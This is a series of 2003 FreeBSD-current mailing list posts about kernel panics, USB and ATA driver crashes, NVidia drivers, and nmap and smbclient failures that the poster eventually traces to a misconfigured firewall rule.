kernel: type 12 trap, code=0 Stopped at stackgap_init+0x14: mol 0x2c(%eax),%edx db trace stackgrap_init(dcv45cd0,c047d023,c4360c78,c4361540,dcb45ce0) at stackgap_init+0x14 linux_execve(c4361540,dcb45d10,dcb45cfc,dcb45d00,3) at linux_execve+0x17 syscall(2f,2f,2f,8048816,bfbfea50) at syscall+0x2aa Xint0x80_syscall() at Xint0x80_syscall+0x1d --- syscall (11, Linux ELF, linux_execve), eip=0x80486c2, esp=0xbfbfea2c, ebp=0xbfbfea38 2. kldload linux ; /compat/linux/sbin/ldconfig sorry, no panic information for this one __ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: HTT on current
Hi, I have a HTT capabale PCU on an Intel MB with the 875P chipset. I have enabled HTT in the BIOS and compiled my kernel with the required SMP options, however i dont think the system is really running in SMP mode. Top does not display CPU numbers. Here is my dmesg: --- FreeBSD 5.1-CURRENT #0: Fri Aug 22 15:41:01 EDT 2003 CPU: Intel(R) Pentium(R) 4 CPU 2.40GHz (2394.01-MHz 686-class CPU) Origin = GenuineIntel Id = 0xf29 Stepping = 9 Features=0xbfebfbffFPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA ,CMOV,PAT,PSE36,CLFLUSH,DTS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE Hyperthreading: 2 logical CPUs real memory = 1072889856 (1023 MB) avail memory = 1037774848 (989 MB) Pentium Pro MTRR support enabled npx0: math processor on motherboard npx0: INT 16 interface acpi0: INTEL S875PWP1 on motherboard pcibios: BIOS version 2.10 Using $PIR table, 12 entries at 0xc00f3310 acpi0: power button is handled as a fixed feature programming model. Timecounter ACPI-fast frequency 3579545 Hz quality 1000 acpi_timer0: 24-bit timer at 3.579545MHz port 0x408-0x40b on acpi0 acpi_cpu0: CPU on acpi0 acpi_cpu1: CPU on acpi0 --- Where's the rest of your dmesg? Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: KDE Konsole, crashes, on a SIGABRT...
I can't explain it. Someone is going to have to debug konsole and figure out what is going on. I can concur, before last thursday, konsole worked fine with libc_r, but crashed randomly with libkse and libthr. After last thursday it even crashes with libc_r. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: KDE Konsole, crashes, on a SIGABRT...
see my post yesterday to -current or -ports with the 2 attachments. the KDE team found the bug, and fixed it. There are 2 patches to add to the port, which fix it. Yeah, I just saw that, I was gone for the weeknend, sorry for the extra chatter. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: atapicam panic at boot.
free_hcb() atapi_action() xpt_run_dev_sendq() xpt_action() probe_start() ... I think some people are already tracking this down related to the recent update of the ata drivers. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: FreeBSD / KDE locking up solid
Evan Dower wrote: You say you have a GeForce 4? Do you have nvidia-driver installed? Nvidia-driver makes my computer lock up like the dickens. ;-) Removing gl-support for kde should do fine. Hendrik I have it working here fine with GL support and no hangs. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
2 ports broken after gcc import
Hi, Since this is related to both -current and to ports I crossposted to both. Basically (I've asked this question before, with no answer), several network-related apps broke after the last gcc import. nmap no longer works: kaoru:~:# nmap -sS -O 66.92.171.91 Starting nmap 3.30 ( http://www.insecure.org/nmap/ ) at 2003-08-29 14:13 EDT sendto in send_tcp_raw: sendto(3, packet, 40, 0, 66.92.171.91, 16) = No route to host I know there is a route to that ip because I'm connected to it from my current machine right now. This behavior started after the import. Also, with smbclient: kaoru:~:# smbclient -L iscprt added interface ip=192.168.0.27 bcast=192.168.0.255 nmask=255.255.255.0 added interface ip=127.0.0.2 bcast=127.255.255.255 nmask=255.0.0.0 Packet send failed to 127.255.255.255(137) ERRNO=Can't assign requested address Connection to iscprt failed This also only started after the import. (or maybe there was another commit that day that caused this problem, I don't know). Anyway, the nmap problem is a big one since I have to scan several machines in my network with nessus, which relies on nmap to work, and I need smbclient/smbspool to print through cups to printers on the local windows network. Is anyone else seeing these problems? Is anyone working on fixes? Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 2 ports broken after gcc import
[EMAIL PROTECTED] root]# uname -a FreeBSD tao.xtaz.co.uk 5.1-CURRENT FreeBSD 5.1-CURRENT #0: Sun Aug 24 13:35:21 BST 2003 [EMAIL PROTECTED]:/usr/obj/usr/src/sys/TAO i386 [EMAIL PROTECTED] root]# gcc -v Using built-in specs. Configured with: FreeBSD/i386 system compiler Thread model: posix gcc version 3.3.1 [FreeBSD] [EMAIL PROTECTED] root]# nmap -sS -O 192.168.1.10 Starting nmap 3.30 ( http://www.insecure.org/nmap/ ) at 2003-08-29 19:21 BST Interesting ports on neo.xtaz.co.uk (192.168.1.10): (The 1636 ports scanned but not shown below are in state: closed) Port State Service 21/tcp openftp 22/tcp openssh 23/tcp opentelnet 111/tcpopensunrpc 113/tcpopenauth 1023/tcp opennetvenuechat 2049/tcp opennfs 6000/tcp openX11 Device type: general purpose Running (JUST GUESSING) : FreeBSD 5.X|4.X|2.X|3.X (97%), Amiga AmigaOS (92%), IBM AIX 5.X (90%), Apple Mac OS X 10.1.X (90%), Novell Netware 3.X|4.X|5.X (89%) Aggressive OS guesses: FreeBSD 5.0-RELEASE (97%), FreeBSD 4.3 - 4.4-RELEASE (93%), FreeBSD 4.7-RELEASE (X86) (93%), FreeBSD 5.1-CURRENT (June 2003) on Sparc64 (93%), AmigaOS Miami Deluxe 0.9 - Miami 3.2B (92%), AmigaOS 3.5/3.9 running Miami Deluxe 1.0c (92%), FreeBSD 2.2.1 - 4.1 (92%), FreeBSD 4.4-STABLE (92%), FreeBSD 4.7-STABLE (92%), IBM AIX 5.1 (90%) No exact OS matches for host (test conditions non-ideal). Nmap run completed -- 1 IP address (1 host up) scanned in 31.448 seconds Seems ok to me? Incidently it probably can't guess the box is fbsd because I have tcp extensions turned off on it. Did the same thing, portupgrade -f nmap, and then ran it with the same flags, and I'm still getting the same problem. It's doing this on all 3 of my FreeBSD-CURRENT machines as well. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 2 ports broken after gcc import
Just for more info, when was the last time you updated your /etc? on my 4th -CURRENT machine, with the same compiler etc... I havn't updated my /etc/ since June 1, and that machine works, the other 3 have been updated very recently, like within the last few weeks, and they're all broken. So I guess it's not a compiler issue, but some kind of configuration issue. I can't think of what the problem could be though. Ken On Fri, 29 Aug 2003, Kenneth Culver wrote: [EMAIL PROTECTED] root]# uname -a FreeBSD tao.xtaz.co.uk 5.1-CURRENT FreeBSD 5.1-CURRENT #0: Sun Aug 24 13:35:21 BST 2003 [EMAIL PROTECTED]:/usr/obj/usr/src/sys/TAO i386 [EMAIL PROTECTED] root]# gcc -v Using built-in specs. Configured with: FreeBSD/i386 system compiler Thread model: posix gcc version 3.3.1 [FreeBSD] [EMAIL PROTECTED] root]# nmap -sS -O 192.168.1.10 Starting nmap 3.30 ( http://www.insecure.org/nmap/ ) at 2003-08-29 19:21 BST Interesting ports on neo.xtaz.co.uk (192.168.1.10): (The 1636 ports scanned but not shown below are in state: closed) Port State Service 21/tcp openftp 22/tcp openssh 23/tcp opentelnet 111/tcpopensunrpc 113/tcpopenauth 1023/tcp opennetvenuechat 2049/tcp opennfs 6000/tcp openX11 Device type: general purpose Running (JUST GUESSING) : FreeBSD 5.X|4.X|2.X|3.X (97%), Amiga AmigaOS (92%), IBM AIX 5.X (90%), Apple Mac OS X 10.1.X (90%), Novell Netware 3.X|4.X|5.X (89%) Aggressive OS guesses: FreeBSD 5.0-RELEASE (97%), FreeBSD 4.3 - 4.4-RELEASE (93%), FreeBSD 4.7-RELEASE (X86) (93%), FreeBSD 5.1-CURRENT (June 2003) on Sparc64 (93%), AmigaOS Miami Deluxe 0.9 - Miami 3.2B (92%), AmigaOS 3.5/3.9 running Miami Deluxe 1.0c (92%), FreeBSD 2.2.1 - 4.1 (92%), FreeBSD 4.4-STABLE (92%), FreeBSD 4.7-STABLE (92%), IBM AIX 5.1 (90%) No exact OS matches for host (test conditions non-ideal). Nmap run completed -- 1 IP address (1 host up) scanned in 31.448 seconds Seems ok to me? Incidently it probably can't guess the box is fbsd because I have tcp extensions turned off on it. Did the same thing, portupgrade -f nmap, and then ran it with the same flags, and I'm still getting the same problem. It's doing this on all 3 of my FreeBSD-CURRENT machines as well. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 2 ports broken after gcc import
Just for more info, when was the last time you updated your /etc? on my 4th -CURRENT machine, with the same compiler etc... I havn't updated my /etc/ since June 1, and that machine works, the other 3 have been updated very recently, like within the last few weeks, and they're all broken. So I guess it's not a compiler issue, but some kind of configuration issue. I can't think of what the problem could be though. OK, checked over my kernel configurations and found that ACL's were in my kernel configuration. I took that option out and things are working again. I have no idea how ACL's could've caused what I was seeing, but everything is working now. Thanks for your help. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 2 ports broken after gcc import
Bizarre. I use ACLs in my kernel daily, and I use nmap almost daily, and haven't seen this. If you re-add ACLs with a fresh kernel build, does the problem come back? Could you look at ktraces of nmap with and without ACLs and see what causes it? Do you have ACLs enabled on any file systems, or are you just running with the kernel option? I was running with just the kernel option, and nothing configured for it. I can't think of what else the problem could be, when I recompiled the kernel it just started working again, it might not have anything at all to do with ACL's and more to do with the fact that I just recompiled it. One of my other -CURRENT machines is working now as well after a recompile. I'll do more testing to see if I can pinpoint the problem and I'll probably have results by Tuesday (holiday weekend :-P ) Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 2 ports broken after gcc import
Might devfs propagate ACL characteristics via /dev nodes into applications? Otherwise, the symptom you described would have made me point to the IP firewall first. My machine that was showing the problem didn't have a firewall enabled. I'll still mess with it some more to see what I can come up with, maybe it was the firewall, but I don't remember having ipfilter or ipfirewall in the kernel but it'd been a while since I edited that config file or compiled that kernel so maybe I took out the firewall options and never compiled, and then compiled today. (It's been about a month since I did anything kernel related on that machine). Anyway, when I pinpoint the problem I'll mail the list. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 2 ports broken after gcc import
I just built a fresh nmap on my -current box and it appears to work fine for me, as did the older nmap. So I guess that leaves me firmly in the unable to reproduce camp. I have noticed that, on my wi0 boxes, I tend to get a fair number of ENOBUFS errors when nmaping, but that appears to be unrelated to the presence of UFS_ACL in the kernel. Are your different boxes using the same type of network interface? Do you rely on routed or use static routes? If you tcpdump the interface, do any nmap packets get out -- for example, the initial ping it performs before scanning a host, or none? Well, on one of my boxes, I have IPFILTER, but no ACL's and it works fine, on the one that was previously not working, I had IPFILTER (but with no rules set) and ACL's. I removed all references to ipfilter from rc.conf (my ipf.rules and ipnat.rules were blank), removed IPFILTER and ACL from the kernel, recompiled, and rebooted, and it started working. So now I just have to go back and figure out which knob I turned to fix things. I'm running late now though so I'll let you know as soon as I can get back to it (the computer that was really having the problems was at work, so I can't get to it until tuesday). Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 2 ports broken after gcc import
I think I missed the message that this is a response to, but here's an answer to the question: UFS_ACL controls only the introduction of ACL code into UFS1 and UFS2 file systems, and enables conditional use of ACLs code if the ACLs flag is set on a file system. If the ACLs flag is not set on a file system, the UFS1/UFS2 code is intended to run along its original permissions-based code path. Devfs isn't based on UFS, and so it should be unaffected by the UFS_ACL flag. If there's a definite causal relationship between UFS_ACL and the nmap failure, I can't help but wonder if it's a result of a timing, code layout, or memory allocation change of some sort. I wouldn't rule out a bug in the ACL code, but it seems somewhat unlikely as, without the ACLs flag set, the code path in the UFS code should be minimally changed... The best path to track this down is to try to figure out for sure which system call is failing, compare expected vs. wire network transmissions, and see if we can reproduce this in a simpler test program. We've recently made some changes in how the permissions of new objects are calculated using ACLs; they were made somewhat before the gcc changes, I believe, but it might also be interesting to see test cases from before both changes, in between the changes, and after both, to confirm that it was definitely the gcc change that kicked off the problem, rather than the UFS change. Finally, I'd like to know what, if any, optimization flags you're using for the kernel compile... Well, don't worry too much, I went back and checked the kernel config I used for the kernel that was having problems, and it did indeed have IPFILTER compiled in, BUT I had no rules loading. Both of the rules files were empty. (That's basically what I said in my previous message). I just took me the better part of a night to sort out what I had on that box and remember what I did. Anyway, like I said, I won't be back on that box until Tuesday so I'll have to let you know which knob I turned then... although if it WAS the firewall that's really wierd since I had no rules loaded, and my other box that never had the problem DID have rules loaded. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: more hints
If I remove device pmtimer from my config, I get a consistent panic, or variation of: Fatal trap 12: page fault while in kernel mode fault virtual address = 0x0 fault code = supervisor read, page not present instruction pointer = 0x8:0xc0135b0a7 stack pointer = 0x10:0xd68f2c48 frame pointer = 0x10:0xd68f2c64 code segment = base 0x0 limit 0x, type 0x1b processor eflags= interrupt enabled, resume, IOPL=0 current process = 12 (swi7: tty:sio clock) trap number = 12 panic page fault ... This is with leaving my USB 2.0 drive turned on during boot time. If I use the same kernel (sans pmtimer) , but boot with my USB drive turned off, all is well. Or, I can put pmtimer back in the kernel and boot with the drive turned on, but sooner or later I'll get some type of panic. Some kind of timimg issue?. I think all of these panics have something to do with leaving the USB drive on at boot time. It seems like I don't have any issues if it stays turned off. That's probably why we're not seeing any reports, I doubt a lot of folks are using a USB 2.0 HD along with ehci... Again, all this started shortly after July 14th. The USB DMA changes may have something to do with this... I'll have time tomorrow to look at the commit logs, so I'll check out what changes went in, then make patches for each one that is likely to be a problem, and then submit them to you. That will allow you to pinpoint the exact commit that caused the problem. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 2 ports broken after gcc import
Bizarre. I use ACLs in my kernel daily, and I use nmap almost daily, and haven't seen this. If you re-add ACLs with a fresh kernel build, does the problem come back? Could you look at ktraces of nmap with and without ACLs and see what causes it? Do you have ACLs enabled on any file systems, or are you just running with the kernel option? Alright, it had nothing to do with ACL's. Unknown to me, someone got on that machine and enabled the firewall, and added rules. Those rules were causing the problem (I'm not sure why he added a firewall on a machine already behind one on a 192.168.0.0/24 network). Anyway, sorry for wasting peoples' time, I should've checked that first. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 2 ports broken after gcc import
Alright, it had nothing to do with ACL's. Unknown to me, someone got on that machine and enabled the firewall, and added rules. Those rules were causing the problem (I'm not sure why he added a firewall on a machine already behind one on a 192.168.0.0/24 network). Anyway, sorry for wasting peoples' time, I should've checked that first. I figured out exactly which line caused this problem too, he added flags S to the rule that allowed outgoing traffic, causing only the syn to be allowed through the firewall, but breaking several other things, and he did it at around the same time as the gcc import. Anyway, lesson learned. Thanks for help whoever gave it. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: ipnat memory leak?
Quoting Vector [EMAIL PROTECTED]: Several reasons: Having it in the kernel improves performance It also avoids at least 2 context switches per packet... one when the packet goes into natd and one when it goes back to the kernel. natd chokes on the latest windoze worms and I have implemented some DoS prevention/worm protection in ipnat but I'm seeing this memory leak without my improvements there at all. If it's in the kernel, ipnat is kept under control when natd would normally be sucking the CPU dry and preventing things like remote logins, very slugish updates, etc... and others I don't particularly want to go into at the moment. vec Not to mention the syntax for doing things like stateful firewalling is much more sane, and the fact that you can view the firewall state-table in near real-time using ipfstat -t (top style viewing). Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: boot hang: ata1: resetting devices .. done (5.1-CURRENT, IBM T30)
Quoting Dan Nelson [EMAIL PROTECTED]: In the last episode (Oct 08), Robert Ferguson said: I see this problem as well. I'm running on a T40, with a DVD/CDRW in the ultrabay, and -CURRENT as of this morning. At boot, it hangs immediately after ad0: 35174MB IC25N040ATCS05-0 [71465/16/63] at ata0-master UDMA100 ata1: resetting devices .. done Backing out the most recent checkin to sys/dev/ata/ata-queue.c (i.e. reverting to version 1.6) makes the problem go away. I upgraded from an Oct 1 - Oct 12 kernel and saw the same hang. Backing out r1.6 fixed it for me too. me too Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: HEADS UP! Major commits in the tree coming soon
The HEAD code freeze was extended by three days to allow for some final pending work to be committed and prepare 5.1 to be a good release. The code freeze will likely end sometime tomorrow, May 30. We ask that large scale changes still be deferred until after 5.1 is actually released so that any problems can be dealt with. The release engineering team will send out emails explicitely stating when HEAD has thawed and when large changes like new compilers and dynamic-linked worlds can go it. The most important changes I'm going to commit today: - Remove gcc and replace it with a new TenDRA snapshot. I'm just wondering... but is there a reason why gcc is being replaced? Is there a page or a previous list mail that explains the reasons? URL? Thanks. - Remove GNU tar. - Fix httpd.ko to make it work on buggy AMD processors. - Drop support for 386 and 486 cpus. - Remove ext2 support (GPL encumbered). - Add perl 5.8 *and* python 2.2 to base. - Remove Sendmail and replace it with Postfix. If anyone has any reason why these should not be committed, I'll give a 5 hours grace time. Send replies to the list. Thank you. Thorsten and the rest or the release engineering team. Thanks Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: New Kernel Breaks IPFW
Try rebuilding ipfw. Ken On Mon, 9 Jun 2003, John Stockdale wrote: Hey everyone, I just cvsup'd my src today and was going to buildworld later tonight but when I installed the newly built kernel with IPFIREWALL etc. and rebooted, ipfw fell over, specifically, even after ipfw firewall enable, an ipfw show resulted in a core dump. If its useful, I can post the ipfw core dump. Any ideas why this is? Thanks -John ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED] ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: NVidia kernel driver support for FreeBSD-5.1
I've got a PCI-NVidia Riva TNT 64 video card at home, and I've tried to compile the drivers but it doesn't work, and after changing the source to let the compilation progress, when the module is loaded I've received a kernel panic. Im using FreeBSD-5.1 with XFree86-4.3, what can I do to solve this issue ? I can not run the X system using the nv driver, my computer hangs up. Try using the port of the driver instead of doing things manually: cd /usr/ports/x11/nvidia-driver make make install That should apply the proper patches to the kernel part of the driver. If it doesn't, it's possible your ports tree is out of date. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: NVidia kernel driver support for FreeBSD-5.1
#pciconf -l -v [EMAIL PROTECTED]:12:0:class=0x03 card=0x chip=0x002d10de rev=0x15 hdr=0x00 vendor = 'NVIDIA Corporation' device = 'NV5 TNT2 Model 64 / TNT2 Model 64 Pro' This is my video card, which sounds just like yours. I have it working fine with the native XFree 'nv' module, but two caveats: The nv module won't support 3d acceleration. IF you want 3d accel, you have to use nvidia's binary driver. First, once you have installed the driver from NVidia, your /usr/X11 tree will contain files that prevent the native 'nv' module from working. I was never able to figure out which files were responsible so I finally deleted the entire /usr/X11 tree and reinstalled everything from scratch. Second, you must be very careful which modules you load in your XF86Config. There is at least one module which will prevent everything from working-- unfortuneately I can't remember which one :0( Section Module Load extmod Load xie Load pex5 Load dbe Load record Load xtrap Load speedo # Load glx Load type1 Load freetype EndSection Notice that I have 'glx' commented out -- I think that's the reason I did that, but it was a long time ago. You did it because the nvidia binary drivers require you to. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: NVidia kernel driver support for FreeBSD-5.1
On Wednesday 18 June 2003 16:05, Kenneth Culver wrote: #pciconf -l -v [EMAIL PROTECTED]:12:0:class=0x03 card=0x chip=0x002d10de rev=0x15 hdr=0x00 vendor = 'NVIDIA Corporation' device = 'NV5 TNT2 Model 64 / TNT2 Model 64 Pro' This is my video card, which sounds just like yours. I have it working fine with the native XFree 'nv' module, but two caveats: The nv module won't support 3d acceleration. IF you want 3d accel, you have to use nvidia's binary driver. Hello! I've got exactly that video card :) So...the best way is using the ports collection, do I still have to delete options INVARIANT and recompile the kernel ? It's very painful for me to compile things because I've got an old computer (Pentium MMX 200Mhz) and it takes long time to compile the kernel, so if I can still use both the kernel with INVARIANTS and install the nvidia-port, I'd be delighted. I'm not at home yet :( Thanks! You will most likely have to remove INVARIANT as well if you are running the GENERIC kernel. If you've never recompiled your kernel, then most likely you are running the GENERIC kernel. If you have recompiled your kernel, just make sure you've taken that option out. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: wierd dsl performance with -CURRENT
Just as an experiment, try setting net.inet.tcp.newreno to 0 using sysctl(8). It might help; it might not. Please let us know. It didn't help. I also tried setting several other sysctl OID's in net.inet.tcp, but nothing helped. I'm totally out of ideas for why this could be happening. I mean it IS only 16KB/sec, but it seems wierd that only FreeBSD is having problems out of all the OS's I use at home. Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
problem after gcc import
Hi, I followed all suggestions from /usr/src/UPDATING after the gcc 3.3.1 import, and rebuilt kernel and world after removing /usr/obj and /usr/src/sys/i386/compile/KAORU (my kernel config file's name). However, I'm seeing some strange behavior after that. 1) smbclient no longer works without specifying the -I flag: kaoru:~: smbclient -L iscprt added interface ip=192.168.0.27 bcast=192.168.0.255 nmask=255.255.255.0 added interface ip=127.0.0.2 bcast=127.255.255.255 nmask=255.0.0.0 Packet send failed to 127.255.255.255(137) ERRNO=Can't assign requested address Connection to iscprt failed This didn't happen before the new gcc. Second: I use gvim as my editor-of-choice for programming in C, and now this happens: kaoru:~: gvim Vim: Caught deadly signal BUS Vim: Finished. And when I backtrace it in gdb: kaoru:/usr/ports/editors/vim/work/vim62/src:# gdb ./vim GNU gdb 5.2.1 (FreeBSD) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-undermydesk-freebsd... (gdb) run Starting program: /usr/ports/editors/vim/work/vim62/src/vim Program received signal SIGBUS, Bus error. 0x28684fc6 in _IceConnectionOpened () from /usr/X11R6/lib/libICE.so.6 (gdb) bt #0 0x28684fc6 in _IceConnectionOpened () from /usr/X11R6/lib/libICE.so.6 #1 0x286797f6 in IceOpenConnection () from /usr/X11R6/lib/libICE.so.6 #2 0x2866f199 in SmcOpenConnection () from /usr/X11R6/lib/libSM.so.6 #3 0x080fceed in xsmp_init () at os_unix.c:5961 #4 0x080b90de in main (argc=0, argv=0xbfbffa60) at main.c:1180 #5 0x080650d2 in _start () It looks like it's dying somewhere in X's libICE. I'm not sure what that's used for, but when I rebuilt libICE with debugging symbols enabled, and traced through the code, there's a pointer in _IceConnectonOpened() that has the value 0xd0d0d0d0 which is causing the crash. This is a wierd crash because on my other 2 FreeBSD machines, (1 an Athlon XP 2000+, the other a dual PII 333) this doesn't happen. The PII doesn't have X though so I'm assuming that's why there's no problem there. The machine this is happening on is a P4. Maybe that's the issue? Anyway, I also turned off all optimizations (no -O or -mcpu=pentiumpro) and recompiled vim, the X11 Libraries, and samba, but the same problem still occurs. Any ideas? Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: problem after gcc import
Read freebsd-current. :-) A suggestion was given this week: Subject: Re: Vim: Caught deadly signal BUS (after -current update with new gcc) Date: Wed, 16 Jul 2003 23:14:30 -0700 To: Karel J. Bosschaart [EMAIL PROTECTED] On Tue, Jul 15, 2003 at 11:07:40AM +0200, Karel J. Bosschaart wrote: FWIW, the new behaviour of vim is caused by patch 6.2.015. I added 015 to BADPATCHES in the ports Makefile and reinstalled. gvim works as usual now. Ahh thanks, that'll teach me to let my delete finger get away from me. :-P Ken ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-current To unsubscribe, send any mail to [EMAIL PROTECTED]
FreeBSD panic with umass
Hi, I just tried to use a Genesys Logic USB Compact Flash card reader, and the following messages come up, followed by a panic: Jan 19 19:41:30 kenshin kernel: umass0: Genesys Logic USB Storage Device, rev 1. 10/1.13, addr 2 Jan 19 19:41:30 kenshin kernel: umass0: Get Max Lun not supported (STALLED) Jan 19 19:41:30 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: (da0:umass-sim0:0:0:0): got CAM status 0x4 Jan 19 19:41:31 kenshin kernel: (da0:umass-sim0:0:0:0): fatal error, failed to a ttach to device Jan 19 19:41:31 kenshin kernel: (da0:umass-sim0:0:0:0): lost device Jan 19 19:41:31 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 